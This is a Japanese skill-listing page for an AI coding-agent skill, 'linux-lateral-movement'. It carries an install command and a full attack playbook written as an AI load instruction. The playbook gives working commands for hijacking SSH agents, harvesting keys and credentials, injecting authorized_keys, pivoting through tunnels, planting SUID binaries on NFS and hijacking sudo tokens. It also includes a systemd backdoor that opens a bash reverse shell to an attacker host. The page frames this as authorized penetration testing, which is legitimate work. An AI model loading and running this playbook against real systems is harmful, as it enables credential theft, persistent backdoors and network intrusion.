linux-lateral-movement について
認可済みの評価向けに、Linuxのラテラルムーブメントと侵害済みホストからのピボット方法を扱うセキュリティスキルです。SSHエージェントや鍵の調査、内部ネットワークトンネル、D-Bus、共有ファイルシステム、sudoトークン、systemdを取り上げます。
主な機能
- 01SSHエージェントと鍵の探索
- 02認証情報の保管場所の確認
- 03D-Busとsystemdの手法
- 04内部ネットワークへのピボット
- 05NFSとSMB共有の調査
- 06sudoトークンの再利用
活用シーン
- 01認可済みLinux侵入テストの評価
- 02ホスト上の露出した認証情報の発見
- 03トンネル経由で内部サービスに接続
- 04共有ストレージとサービスのリスク確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill linux-lateral-movementインストール後、Claude Code で/linux-lateral-movementを入力して読み込まれたか確認します。
詳細
スキル:Linux ラテラルムーブメント — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Linux のエキスパート向けラテラルムーブメント手法です。SSH エージェントの乗っ取り、キーの収集、認証情報の保存場所、D-Bus の悪用、ネットワークのピボット、sudo トークンの再利用、systemd の操作を扱います。ベースモデルは SSH_AUTH_SOCK の乗っ取りや ptrace ベースの sudo セッション乗っ取りを見落とします。
0. 関連するルーティング
詳しく調べる前に、以下の読み込みを検討してください。
- ピボットする前に現在のホストで root 権限が必要な場合は、linux-privilege-escalation
- 制限付きシェルやセキュリティモジュールによってラテラルムーブメントツールがブロックされる場合は、linux-security-bypass
- 標的ネットワークにコンテナ化されたホストが含まれる場合は、container-escape-techniques
- Kubernetes クラスターへのピボットを行う場合は、kubernetes-pentesting
- 発見した内部サービス(Redis、MongoDB など)を悪用する場合は、unauthorized-access-common-services
1. SSH エージェントの乗っ取り
1.1 SSH エージェントのソケットを探す
# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
# Typical path: /tmp/ssh-XXXXXX/agent.PID
1.2 エージェント転送の乗っ取り
# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
# List available keys in the agent
ssh-add -l
# If keys appear → we can use them
# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host
# The agent owner won't notice — we're using their forwarded agent
1.3 エージェントの永続的な監視
# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
touch /tmp/.marker
sleep 5
done
2. SSH キーの収集
2.1 秘密鍵の保存場所
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
# Find keys without passphrase:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done
2.2 known_hosts の解析
# Hashed known_hosts (common default):
cat ~/.ssh/known_hosts
# May be hashed — use ssh-keygen to check against known IPs:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
# Unhashed known_hosts → direct IP/hostname list
awk '{print $1}' ~/.ssh/known_hosts | sort -u
# Extract all hostnames/IPs from all users' known_hosts
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
| awk '{print $1}' | tr ',' '\n' | sort -u
2.3 authorized_keys への挿入
# Generate attacker keypair (on attacker box)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
# Inject public key (on compromised host)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
# SSH back in with our key
ssh -i /tmp/pivot_key root@target
3. 認証情報の収集場所
3.1 システム認証情報
| 場所 | 内容 | コマンド |
|---|---|---|
/etc/shadow | パスワードハッシュ | cat /etc/shadow(root) |
/etc/passwd | ユーザー一覧。ハッシュが含まれる場合があります | cat /etc/passwd |
.bash_history | コマンド履歴(平文のパスワードが含まれる場合があります) | cat /home/*/.bash_history |
.mysql_history | パスワードを含む MySQL コマンド | cat /home/*/.mysql_history |
.psql_history | PostgreSQL コマンド | cat /home/*/.psql_history |
.pgpass | PostgreSQL のパスワードファイル | cat /home/*/.pgpass |
.my.cnf | MySQL の認証情報 | cat /home/*/.my.cnf |
.netrc | FTP/HTTP の自動ログイン用認証情報 | cat /home/*/.netrc |
.git-credentials | Git HTTPS のパスワード | cat /home/*/.git-credentials |
3.2 環境変数と設定ファイル
# Current process secrets
env | grep -iE "pass|key|secret|token|api|cred|auth"
# All process environments (root):
for pid in /proc/[0-9]*; do
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done
# Application configs (common credential locations):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
# Keyrings & secret stores:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null
4. D-BUS の悪用
4.1 D-Bus サービスの列挙
# List system bus services
dbus-send --system --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# List session bus services
dbus-send --session --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# Introspect a service (find available methods)
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply \
/org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
4.2 D-Bus 経由での systemd と PolicyKit の悪用
# Start a service via D-Bus (if policy allows):
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply /org/freedesktop/systemd1 \
org.freedesktop.systemd1.Manager.StartUnit \
string:"malicious.service" string:"replace"
# polkit actions available without auth:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"
5. 内部ネットワークへのピボット
5.1 SSH トンネリング
# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host
# Remote port forward: expose attacker service to internal network
ssh -R 8080:ATTACKER:8080 pivot@compromised-host
# Dynamic SOCKS proxy: route all traffic through pivot
ssh -D 1080 pivot@compromised-host
# Then: proxychains nmap -sT INTERNAL_RANGE
# SSH over SSH (multi-hop):
ssh -J user1@hop1,user2@hop2 target@final-host
5.2 SSH を使わない代替トンネル
# socat port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &
# ncat relay
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"
# /dev/tcp (Bash built-in, no tools needed)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3
# chisel (SOCKS proxy over HTTP)
# On attacker: chisel server -p 8080 --reverse
# On target: chisel client ATTACKER:8080 R:socks
5.3 侵害したホストからのネットワーク探索
ss -tlnp && ss -tnp # Listening & established connections
arp -a && ip neigh # Known adjacent hosts
cat /etc/resolv.conf # DNS servers
dig axfr internal.domain @dns 2>/dev/null # Zone transfer
# Subnet sweep (bash-only, no tools):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait
# Port scan via /dev/tcp:
for port in 22 80 443 3306 5432 6379 8080; do
(echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done
6. 共有ファイルシステムの悪用
6.1 NFS マウント
# Discover NFS shares
showmount -e FILESERVER_IP 2>/dev/null
# Check for no_root_squash (root maps to root)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# If no_root_squash: create SUID binaries visible to other hosts
# All hosts mounting the same share → SUID binary = root on all hosts
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
6.2 SMB/CIFS 共有
# Enumerate shares
smbclient -L //FILESERVER_IP/ -N 2>/dev/null # Null session
smbclient -L //FILESERVER_IP/ -U 'user%password'
# Mount and search for credentials
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
-o -name "*.xlsx" -o -name "*.docx" 2>/dev/null
7. SUDO トークンの再利用(ptrace ベース)
# If another user has an active sudo session (timestamp not expired):
# And we can ptrace their process (same UID or root)
# Check sudo timestamp files:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# Files here mean active sudo tokens
# ptrace-based hijack:
# Attach to the user's shell process
# Inject: sudo /bin/bash
# The injected sudo inherits the valid timestamp → no password needed
# Automated tool: sudo_inject
# https://github.com/nongiach/sudo_inject
# Injects into processes with valid sudo tokens
8. SYSTEMD サービスの操作
# Find writable unit files:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null
# Inject into existing service (add ExecStartPre=):
# Or create new: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service
9. ラテラルムーブメントの判断ツリー
Compromised host — where to move next?
│
├── SSH credentials available?
│ ├── Private keys found? → try on all known_hosts targets (§2)
│ ├── SSH agent running? → hijack socket (§1)
│ ├── Passwords in history/configs? → spray across hosts (§3)
│ └── authorized_keys writable on other hosts? → inject key (§2.3)
│
├── Network services discovered?
│ ├── Internal web apps? → tunnel + attack (§5.1)
│ ├── Databases (3306/5432/6379)? → check harvested creds (§3)
│ ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
│ └── Kubernetes API (6443)? → load kubernetes-pentesting skill
│
├── Can reach other hosts?
│ ├── Direct SSH? → use keys/passwords
│ ├── Firewalled? → SSH tunnel or chisel (§5)
│ └── No tools? → /dev/tcp + bash (§5.2)
│
├── Root on current host?
│ ├── Read /etc/shadow → crack hashes → password reuse (§3)
│ ├── Dump /proc/*/environ → find service credentials (§3.2)
│ ├── Hijack sudo tokens → piggyback admin sessions (§7)
│ └── Modify systemd services → backdoor (§8)
│
├── D-Bus services available?
│ ├── Privileged services exposed? → method call abuse (§4)
│ └── polkit actions without auth? → privilege actions (§4.3)
│
└── No obvious path?
├── ARP scan + port sweep internal network (§5.3)
├── Passive credential sniffing (if cap_net_raw)
├── Wait for admin SSH → agent hijack (§1.3)
└── Check for cloud metadata (169.254.169.254)
コメント
Markdown 対応